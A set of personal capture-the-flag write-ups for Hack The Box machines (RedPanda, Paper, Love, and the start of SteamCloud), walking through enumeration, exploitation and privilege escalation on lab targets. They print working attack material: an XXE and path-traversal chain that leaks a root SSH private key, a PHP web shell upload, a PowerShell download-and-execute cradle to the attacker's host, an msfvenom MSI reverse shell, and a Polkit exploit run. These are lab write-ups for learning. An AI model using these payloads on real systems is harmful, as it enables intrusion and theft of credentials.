/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java: File log_fd = new File("/opt/panda_search/redpanda.log");

RedPanda Privilege Escalation

I haven’t included the code and I’m not going to try and explain it. After watching IppSec’s video I somewhat understand what’s going on but I couldn’t tell you which part of the binary does what. However, from what I understand these two binaries do a number of things. They read the redpanda.log file and if they see a request for an image, they process that image and then write the metadata author attribute to an XML file. So, if we create an image and modify the metadata to perform a file traversal to an XML file of our own creation, we can then use XML Entity Injection to execute code and retrieve files that we’re not supposed to.

Capturing A Panda

First, we need to capture a panda. Once we have this panda, we can modify its metadata using exiftool and give it a different author attribute. The snippet below shows that I have changed the author attribute to ‘../dev/shm/haxez’. So now, when it attempts to write to the XML file it will first perform a path traversal up out of the ‘/credits’ directory (where the XML is usually stored) and into ‘/dev/shm’ where our haxez XML file is stored. We caught this panda in the ‘img’ directory but when releasing it back to the wild we won’t have permission to put him back there. Probably best to drop him off in the /dev/shm directory and let him make his own way back.

Our RedPanda
┌─[joe@parrot]─[~/RedPanda]
└──╼ $exiftool -Artist=../dev/shm/haxez greg.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg
1 image files updated
┌─[joe@parrot]─[~/RedPanda]
└──╼ $exiftool greg.jpg
ExifTool Version Number : 12.16
File Name : greg.jpg
Directory : .
File Size : 100 KiB
File Modification Date/Time : 2023:03:13 13:08:39+00:00
File Access Date/Time : 2023:03:13 13:08:39+00:00
File Inode Change Date/Time : 2023:03:13 13:08:39+00:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Big-endian (Motorola, MM)
Orientation : Horizontal (normal)
Artist : ../dev/shm/haxez

XML Entity Injection Attack

So when the cronjob runs, it will see the Artist value in the image and traverse directories from credits up a directory to /credits/../dev/shm/haxez_creds.xml and look for a haxez_creds.xml file. Then in that file, we perform an XML Entity Injection attack to steal the root user’s private key. This is not easy! Why is this machine marked as easy?! Let’s steal an XML template from the /credits directory and modify it with our payload. An example of this can be found on HackTricks. As you can see from the snippet below, we specify the root user’s private key in the entity entry. Then, further down we specify the location where we want the contents of that file to be written to (I think).

XXE

Triggering The Exploit

In order for the exploit to be triggered, we need to put something in the redpanda.log file. This is why we need the logs group permission. The snippet below shows me echoing a fake request to the image we created. It includes a traversal to our /dev/shm directory where are panda was released back into the wild. Then when the corn job runs, it finds the image, reads the metadata, executes the XML entity injection and saves the root user’s private key in our XML file.

woodenk@redpanda:/opt/panda_search$ echo '200||10.10.14.126||Mozilla/5.0 (Windows NT 10.0; rv78.0) Gecko/20100101 Firefox/78.0||/../../../../../../../../dev/shm/haxez.jpg' > redpanda.log

woodenk@redpanda:/opt/panda_search$ cat redpanda.log
200||10.10.14.126||Mozilla/5.0 (Windows NT 10.0; rv78.0) Gecko/20100101 Firefox/78.0||/../../../../../../../../dev/shm/haxez.jpg

Got root?

After twiddling our thumbs for a bit, and waiting for the cronjob to execute we can cat the XML file. As you can see from the snippet below it now contains the root user’s private key. We can then save this key locally, give it 600 permissions and use it to SSH to the server as the root user and capture the root flag.

woodenk@redpanda:/opt/panda_search$ cat /dev/shm/haxez_creds.xml 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>haxez</author>
<image>
<uri>/../../../../../../../../dev/shm/haxez.jpg</uri>
<views>1</views>
<data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</data>
</image>
<totalviews>1</totalviews>
</credits>

And ssh to capture the flag.

┌─[joe@parrot]─[~/RedPanda]
└──╼ $ssh -i key [email protected]
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 13 Mar 2023 01:25:21 PM UTC
System load: 0.02
Usage of /: 81.0% of 4.30GB
Memory usage: 50%
Swap usage: 0%
Processes: 225
Users logged in: 1
IPv4 address for eth0: 10.129.247.33
IPv6 address for eth0: dead:beef::250:56ff:fe96:bf03
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Jun 30 13:17:41 2022

root@redpanda:~# cat /root/root.txt
e8a▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ff4

RedPanda Review

I definitely don’t agree with the easy categorisation of this box. This box was at least a medium-difficulty box. The reason I say that is because most of the easy boxes I have done (about 45 at the time of writing) make it easier to understand what needs to be done. Normally the privilege escalation will be staring you in the face but you need to work out how to trigger it. Whether it’s due to my lack of knowledge of Java or something else I’m missing, I had no clue what I was expected to do here. Anyway I wont rant anymore. Glad this one is over.

Hack The Box – Paper

Paper is a retired vulnerable Linux machine on Hack The Box created by secnigma. Hello world, welcome to haxez where today I will be attempting to hack the box named Paper. By the looks of it, the creator of this box enjoys The Office.

Paper Enumeration

As with all successful hacks, the first stage is to enumerate the system. We need to gather as much information about the system as possible. Information is the commodity of hacking and cybersecurity. The good guys try to protect it, the bad guys try to steal it. To start this information-gathering process, I used the tool Nmap to find out what services were running on the box.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ sudo nmap -sC -sV -p- -A 10.129.136.31 -oA paper
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-22 06:59 GMT
Nmap scan report for 10.129.136.31
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 1005ea5056a600cb1c9c93df5f83e064 (RSA)
| 256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA)
|_ 256 3178afd13bc42e9d604eeb5d03eca022 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: HTTP Server Test Page powered by CentOS
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/22%OT=22%CT=1%CU=30873%PV=Y%DS=2%DC=T%G=Y%TM=641AA77
OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=100%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O
OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M550NNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

We can see from the output above that there are 3 ports open. Port 22 for SSH, port 80 for HTTP and port 443 for HTTPS (The encrypted version of HTTP). Visiting port 80 gives us a generic HTTP Server test page. I suspect that there isn’t much going on there but it does disclose a number of configuration file locations and that the host is CentOS.

Paper Server Test Page

We can come back to this later if needs be but let’s head over to port 443 and see what’s going on there. Ok, I was expecting some sort of redirect to happen but it’s the same page. I didn’t see anything in the Nmap scan that suggested a hostname. Furthermore, the certificate is for localhost.localdomain so I’m not sure what I’m supposed to see here.

Paper Interception

Using Burp Suite, we can intercept responses from the server which may give us more information about the host. Some headers like the server and powered by headers can tell us what the webserver version and utilised programming languages are. As you can see from the image below, there is an interesting header named ‘X-Backend-Server’ with the value of ‘office.paper’.

Paper Interception

Let’s add that to our host file and see whether we can visit that like a URL. I wonder if there is a ‘.paper’ Top Level Domain name. It could be good for a news organisation like news.paper. Perhaps not.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ echo "10.129.136.31 office.paper" | sudo tee -a /etc/hosts
10.129.136.31 office.paper

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.136.31 office.paper

Paper Web Application Enumeration

Interestingly, the HTTPS port remains to be a web server test page. However, the HTTP port now reveals a website for Blunder Tiffin. Poking around the website we can see that it appears to be a blog with posts coming from a user called Priosnmike. We should add that user to our notes as it may come into use in the future.

Paper website

I can take a guess as to what Content Management System is being used for the blog. However, in order to do this properly we’re going to use the tool whatweb to identify what technologies are in place. As you can see from the output below, the web app is powered by WordPress.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ whatweb http://office.paper/
http://office.paper/ [200 OK] Apache[2.4.37][mod_fcgid/2.3.9], Bootstrap[1,5.2.3], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.129.136.31], JQuery, MetaGenerator[WordPress 5.2.3], OpenSSL[1.1.1k], PHP[7.2.24], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Blunder Tiffin Inc. &#8211; The best paper company in the electric-city Scranton!], UncommonHeaders[link,x-backend-server], WordPress[5.2.3], X-Backend[office.paper], X-Powered-By[PHP/7.2.24]

Finding Vulnerabilities

There are a number of ways you can identify vulnerabilities in WordPress. For example, you could find the version number in the page source somewhere and google vulnerabilities for that particular version. However, there is a tool that will do it for us provided you have an API key. Wp-scan is a great tool for finding WordPress vulnerabilities and as you can see below, it has found a great many.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ wpscan --url http://office.paper/ --api <your_api_key>
Paper WP Scan

We could poke at all the vulnerabilities 1 by 1 but let’s just head to the intended method. The vulnerability with the CVE designation CVE-2019–17671 lets an attacker view posts that haven’t been published yet. This could be embarrassing for an organisation, lord knows I have lots of unfinished and unpublished posts that I wouldn’t want anyone to see. Anyway, we can use this vulnerability to view unpublished posts by visiting the following URL.

http://office.paper/?static=1

Reading through the unpublished posts reveals another subdomain that we can add to our host’s file.

Hidden page

Rocket Chat

Adding the URL to our host file and visiting it in our browser reveals a Rocket Chat application. While we don’t have any credentials yet, let’s try signing up to see if we can access it. Sure enough, creating a user lets us log in to Rocket Chat and poke around. I need to stop for a moment just to say how awesome this box has been so far. The creator has done an incredible job of replicating the personality of The Office. It is actually very believable that this box was set up by the team from The Office.

Paper Rocket Chat

Moving forward, we can see that none other than Dwight Schrute has set up a bot to be more productive. However, Dwight Schrute more like Dwight Noob amirite, seems to have created a vulnerability in doing so. As you can see from the image below, we can list files.

Rocket chat disclosure

Paper Foothold

Now that we seem to have the ability to list directories and read files, let’s go after some credentials. Both WordPress and Rocket chat will have a database connection string file used to connect to their databases. If we can nab the password from one of those files, we might be able to use it to log in via SSH. If we ask recyclops to show us the following file, it will give us the password for the database. Furthermore, we can also find the users of the system by getting the /etc/passwd file. While your bot implementation wasn’t great, you do have excellent taste in video games Dwight. The password is ‘Queenofblad3s!23’ and we can see Dwight is an SSH user. He probably reuses passwords.

file ../hubot/.env
Rocket Chat RCE

And just like that, we’re in and grab ourselves a fresh user flag. However, it doesn’t seem that Dwight has given himself sudo. That’s questionable.

┌──(kali㉿kali)-[~/Documents/Paper]
└─$ ssh [email protected]
The authenticity of host '10.129.136.31 (10.129.136.31)' can't be established.
ED25519 key fingerprint is SHA256:9utZz963ewD/13oc9IYzRXf6sUEX4xOe/iUaMPTFInQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.136.31' (ED25519) to the list of known hosts.
[email protected]'s password:
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ cat /home/dwight/user.txt
3b05▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a25

Back To Enumerating

For each step forward we take we must go back to our first step and start enumerating again. As soon as we get a new level of access, enumerate! I downloaded a copy of LinPEAS locally and span up a python web server. I then used wget on the target system to download the file. Next, I gave it executable permissions and ran it.

┌──(kali㉿kali)-[~/Paper]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230319/linpeas.sh
linpeas.sh 100%[=======================================>] 808.76K --.-KB/s in 0.1s
2023-03-22 08:39:04 (6.04 MB/s) - 'linpeas.sh' saved [828172/828172]

┌──(kali㉿kali)-[~/Paper]
└─$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

I’ve added the screenshot below for no other reason than to include the pea, it’s adorable and I will never not include them in my writeups.

Paper LinPEAS

Privilege Escalation

This is interesting, the official walkthrough and many other walkthroughs discuss CVE-2021–3560 Polkit Privilege Escalation. However, as you can see from the screenshot below, this did not show up in my LinPEAS results.

Hmmmm Not The CVE I was looking for

I decided to check the version of polkit bit querying the package manager and it does seem to be the vulnerable version as you can see from the output below. Furthermore, the GitHub page also explains that it has been tested with this version of Polkit and that it works.

[dwight@paper tmp]$ rpm -qa | grep -i polkit
polkit-0.115-6.el8.x86_64
polkit-pkla-compat-0.1-12.el8.x86_64
polkit-libs-0.115-6.el8.x86_64
GitHub Said So

What’s interesting is that it does add the user correctly but I’m unable to switch to that user once the exploit is complete. As you can see from the images below, the exploit runs and adds the user ‘haxez’ with the password ‘haxez’. I have confirmed that the user is added to /etc/passwd but was unable to switch to that user.

haxez:x:1006:1006:haxez:/home/haxez:/bin/bash

Was this the unintended method of PE and has since been patched? Has something else happened to the system that has stopped it from working? What if I’m never able to get the root flag for this box?

Never mind, it seems that there is a clean-up script which goes through and removes users. I think this was added on so that we could keep trying the exploit. Perhaps my timing was just awful and it was cleaning up right after I ran the exploit. Fortunately, the exploit finally worked (after many many attempts) and as you can see below we can now grab the root flag.

[dwight@paper tmp]$ su - secnigma
Password:
su: Authentication failure
[dwight@paper tmp]$ bash poc.sh
[!] Username set as : secnigma
[!] No Custom Timing specified.
[!] Timing will be detected Automatically
[!] Force flag not set.
[!] Vulnerability checking is ENABLED!
[!] Starting Vulnerability Checks...
[!] Checking distribution...
[!] Detected Linux distribution as "centos"
[!] Checking if Accountsservice and Gnome-Control-Center is installed
[+] Accounts service and Gnome-Control-Center Installation Found!!
[!] Checking if polkit version is vulnerable
[+] Polkit version appears to be vulnerable!!
[!] Starting exploit...
[!] Inserting Username secnigma...
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required
[+] Inserted Username secnigma with UID 1005!
[!] Inserting password hash...
[!] It looks like the password insertion was succesful!
[!] Try to login as the injected user using su - secnigma
[!] When prompted for password, enter your password
[!] If the username is inserted, but the login fails; try running the exploit again.
[!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell!
[dwight@paper tmp]$ su - secnigma
Password:
[secnigma@paper ~]$ sudo su -
[sudo] password for secnigma:
[root@paper ~]# cat /root/root.txt
447▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e6a

Paper Review

This was an absolutely phenomenal box in my opinion. It wasn’t too easy and it did a great job of carefully nudging you forward. This is what all easy boxes should be like in my opinion. Publicly known exploits that the user has to find. Unfortunately for whatever reason LinPEAS didn’t seem to find the vulnerability, I should have run other tools on it to see if they found it. I love how strongly this box was themed and I wish more boxes had stronger themes like this. I loved the web app challenges on Hack This Site for that very reason. Giving it a strong theme allows me to immerse myself in the challenge rather than just exploiting another box. I also enjoy anything with WordPress as I’ve used WordPress for many years and love finding out new quirks. Anyway, that’s all from me today, I’m going to submit my flags, give secnigma my respect and leave a nice review.

Hack The Box – Love

Love is an easy Windows box created by pwnmeow on Hack The Box and was released on the 1st of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Love. To hack this box is it recommended that you have Windows enumeration and web enumeration skills. From hacking this box, you will learn exploit modification, server-side request forgery, applocker policies, and always install everything misconfiguration.

Love Enumeration

After spawning the box, I sent a single ping request to ensure it was online. I then followed up with a Nmap scan targeting all ports, requesting service versions, and running default scripts. Finally, I gave it a minimum packet rate of 10000 and said to output all formats. From the results, I learnt that there were several ports open. This included various ports for HTTP, 445 for SMB, 3306 for MySQL, 5985 and 5986 for HTTPAPI or WinRM, the list goes on.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nmap -sC -sV -p- 10.129.48.103 --min-rate 10000 -oA love
Love Nmap Results

As SMB was listening, the first thing I did was run crackmapexec to enumerate shares and host information. From the results, I learnt that it was a Windows 10 Pro box with the hostname LOVE. The domain was also called Love which suggests the box is not a domain controller (as they have the same name). Furthermore, SMBv1 was enabled.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ crackmapexec smb 10.129.48.103
Love Crackmapexec

Love Web Application Enumeration

After poking SMB, I went to take a look at the web application. First, I visited the application in my browser and saw that it was a type of voting application. Next, I appended various extensions to the end of the index page. As a result, I learnt that the application was written in PHP.

Love Voting System

Following that, I ran whatweb against the application and learnt that the PHP version was 7.3.27. Furthermore, I also learnt that the Apache version was 2.4.46 and that the application was using the Bootstrap framework.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo whatweb -a3 http://10.129.48.103/ -v
Love whatweb

I also ran a gobuster scan to try to identify any directories or files that would disclose sensitive information about the application. However, other than some 301 and 302 redirections and a bunch of 403 errors, I didn’t find much.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ gobuster dir -u http://10.129.48.103/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,txt,bak -o gobuster.love.txt
Love Gobuster

More Love Application Enumeration

I decided to look at the other HTTP ports that were discovered during the Nmap scan. Therefore, I punched the IP address of the box into my browser and specified port 5000. Immediately, I received a Forbidden error. I shouldn’t have been surprised by this as Nmap displayed the forbidden error in the results.

Forbidden

Subdomains and Virtual Hosts

I revisited the results of the Nmap scan to choose which service to poke at next. It was then that I noticed the common name of the SSL certificate on port 443. Below, you can see the output from the Nmap scan showing the subdomain of staging.love.htb.

SSL certificiate

Immediately, I excitedly added the IP address and new subdomain to my host file. Surely this was the foothold that I’d been looking for. Finally, I found a weakness in this box’s armour! I entered the domain into my browser and…. Forbidden. Wow, talk about rejection.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ echo '10.129.48.103 staging.love.htb' | sudo tee -a /etc/hosts
Forbidden Again

However, visiting the subdomain via HTTP instead of HTTPS loaded a page. I poked around the application for a bit and noticed a demo page. In short, the demo page is a free file scanner that allows the user to submit a URL with a file for scanning.

File Scanner

Server-Side Request Forgery

I wanted to see if the demo page worked so I set up a netcat listener on my local machine. Next, I input the location of a file into the Scan File input box and sent the request. Sure enough, the application pulled the file down from my host and displayed the contents. Admittedly, my first thought was to try and get it to execute a payload by downloading it from my host. However, those attempts failed.

File scanner

There is a Web Application vulnerability known as Server Side Request Forgery. In short, SSRF exploits the box’s own trust. Because the resource request is sent from the box itself, it may allow access to otherwise forbidden files. To illustrate, I input the loopback address of 127.0.0.1 followed by port 5000 into the URL box. This was the page I was previously unable to access. Upon sending the request, I received credentials.

Password dashboard

Voting System Admin

With the username and password successfully stolen via SSRF, I headed back to the voting system by navigating to the IP address. Next, I supplied the stolen credentials and… they didn’t work. This is another one of those easy boxes which seems more difficult than it is because it takes so long.

Fortunately, I ran a gobuster earlier and remember seeing a 301 redirection from /admin to /admin/. This is where gobuster attempted to load a file called admin but was redirected to a directory called admin, likely containing a PHP file. Therefore, I headed to the admin directory and was able to log in with the credentials.

Voting Dashboard

Love RCE POC

I noticed the Copyright disclaimer at the bottom of the page and decided to perform a Google search for the name SourceCodeStar. After a few Google searches, I stumbled upon several Exploit Database pages which suggested there was an authenticated remote code execution. Unfortunately, there didn’t appear to be a CVE number associated with it.

Exploit

Admittedly, I wanted some guidance on this step so I am going to copy what IppSec did >>HERE<<. First, I navigated to the Voters menu option and clicked the New button. This spawned the window you see below. I populated the window with some test data and selected a jpeg file for the photo.

Exploit

Next, I turned intercept on and clicked the save button. Burp successfully intercepted the request which I then modified. I changed the filename to “haxez.php” and then removed the jpeg data and replaced it with a PHP web shell.

------WebKitFormBoundaryM93O7d6XpEp6S0dP
Content-Disposition: form-data; name="photo"; filename="haxez.php"
Content-Type: image/jpeg
<?php system($_REQUEST["cmd"]); ?>
Modify the payload

Then, I navigated to the payload in my browser and passed the dir command to the cmd parameter. It successfully listed out the contents of the directory.

Directory listing RCE POC

Love Foothold

Now that I had command execution, it was time to get on the box using a reverse shell. I downloaded nishang from >>HERE<< and copied the Invoke-PowerShellTcpOneLine.ps1 payload to my current working directory. Next, I opened the payload with VIM and changed the IP address and port to my tun0 IP address and port 9001.

Nishang payload

Then, I sent my original directory listing request to Burp repeater and changed the request method to a POST. Next, I started a netcat listener and then added the following Payload to Burp and sent the request. I instantly received a 404 error. There must be a clean-up script on the box that is removing the payloads.

cmd=powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.36/hax.ps1')"

I quickly repeated the process by uploading a new command shell and executing the above payload. Finally, I got a reverse shell and had a foothold on the box. From here, I was able to grab the user flag from the phoebe users desktop directory.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nc -lvnp 9001
[sudo] password for kali:
listening on [any] 9001 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59730
PS C:\xampp\htdocs\omrs\images> whoami
love\phoebe
PS C:\xampp\htdocs\omrs\images> type C:\Users\phoebe\Desktop\user.txt
d85▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓319

Love Privilege Escalation

After capturing the user flag, I download the latest version of the 64 bit obfuscated WinPEASS binary. Next, I spawn a Python3 web server and used cURL to download the binary to the target machine. Finally, I ran the executable and saw that the AlwaysInstallElevated value was set to 1 which I presume means it was enabled. Quoting directly from the HackTricks article “If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.”. Is this a useful setting to have as a sysadmin? it seems a bit odd.

Love WinPEAS

With this knowledge, I went back to my Linux terminal and used msfvenom to create an MSI payload. The output below will create a Windows x64 reverse shell that connects back to my local host on port 9002. The file type is specified as an MSI file and I saved the output to payload.msi.

┌──(kali㉿kali)-[~/HTB/Love]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.36 LPORT=9002 -f msi > payload.msi
Love msfvenom

I set up a netcat listener to listen on port 9002 and then used cURL to download the payload from the Python web server I still had running. I specified the -o flag to save the payload as payload.msi.

PS C:\users\public\documents> curl http://10.10.14.36/payload.msi -o payload.msi
PS C:\users\public\documents> .\payload.msi

Finally, I ran the payload and thankfully, I received a connection back to the netcat listener. I now had a reverse shell as the nt authority\system user and could finally capture the root flag.

──(kali㉿kali)-[~/HTB/Love]
└─$ sudo nc -lvnp 9002
[sudo] password for kali:
listening on [any] 9002 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59734
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>type \users\administrator\desktop\root.txt
type \users\administrator\desktop\root.txt
64b▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓95f

Love Learnings

Love requires patience… the initial enumeration stage of this box took longer than I had hoped. It felt like I was jumping through hoops but it taught me valuable lessons about enumeration. It’s one of those boxes that seemed difficult due to the level of enumeration required to get a foothold, but the actual exploit is easy. Furthermore, it does a great job of demonstrating Server Side Request Forgery which I hadn’t really done before.

The privilege escalation was a lot of fun and fairly simple to pull off. I didn’t know about this method of privilege escalation until today so I’ve learnt that too. Overall it’s a fun box but it definitely tested my patience at times. My initial PHP shell just up and vanished so I had to upload that again before getting my reverse shell. For me, it was educational and taught me new techniques which is what I want from an easy box. Thanks for the box.

Hack The Box – SteamCloud

SteamCloud is an easy, retired vulnerable Linux virtual machine created by felamos from Hack The Box. Hello world, welcome to haxez where today I’m going to be attempting to hack SteamCloud. This isn’t a walkthrough, it’s more of a way to document my struggles, frustration and what I’ve learnt. It is highly likely that I will follow the official walkthrough as I’m still learning.

SteamCloud Enumeration

After spinning up the box I pinged it to see if it was online. Sure enough, the box responded. Next, I scanned the machine with Nmap to identify what ports were open. As you can see from the output below, port 22 for SSH and a few other ports were open. I’ve not seen the other ports open on boxes before but it seems that they relate to the Kubernetes service.

Kubernetes is an open-source container orchestration platform developed by Google that allows developers to automate the deployment, scaling, and management of containerized applications. Kubernetes provides a set of APIs for deploying, scaling, and managing containerized applications across a cluster of machines. It can manage and orchestrate the deployment of applications that are containerized using popular container runtimes like Docker. Kubernetes provides advanced features like automatic load balancing, automatic scaling of applications based on usage patterns, and self-healing capabilities. It is widely used in modern application development and has become the de facto standard for container orchestration.

┌──(kali㉿kali)-[~/HTB/SteamCloud]
└─$ sudo nmap -Pn -sC -sV -p- -A 10.129.96.167 -T4 -oA steamcloud
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-21 03:38 EDT
Nmap scan report for 10.129.96.167
Host is up (0.013s latency).
Not shown: 65528 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fcfb90ee7c73a1d4bf87f871e844c63c (RSA)
| 256 46832b1b01db71646a3e27cb536f81a1 (ECDSA)
|_ 256 1d8dd341f3ffa437e8ac780889c2e3c5 (ED25519)
2379/tcp open ssl/etcd-client?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-03-21T07:37:40
|_Not valid after: 2024-03-20T07:37:40
2380/tcp open ssl/etcd-server?
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.167, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2023-03-21T07:37:40
|_Not valid after: 2024-03-20T07:37:40
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: cc30677d-95c5-4c9e-a144-cccfbd7b5c0b
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40
| X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303
| Date: Tue, 21 Mar 2023 07:38:42 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 83bef595-8d68-41bb-863c-1b3a6b6a668c
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 065cf4c6-349a-4830-b6dc-fe12634add40
| X-Kubernetes-Pf-Prioritylevel-Uid: da6ad453-c1be-4a95-abe6-ec27573b3303
| Date: Tue, 21 Mar 2023 07:38:42 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 6b43a7b4-68c7-4daa-b715-7d8799aa34e3
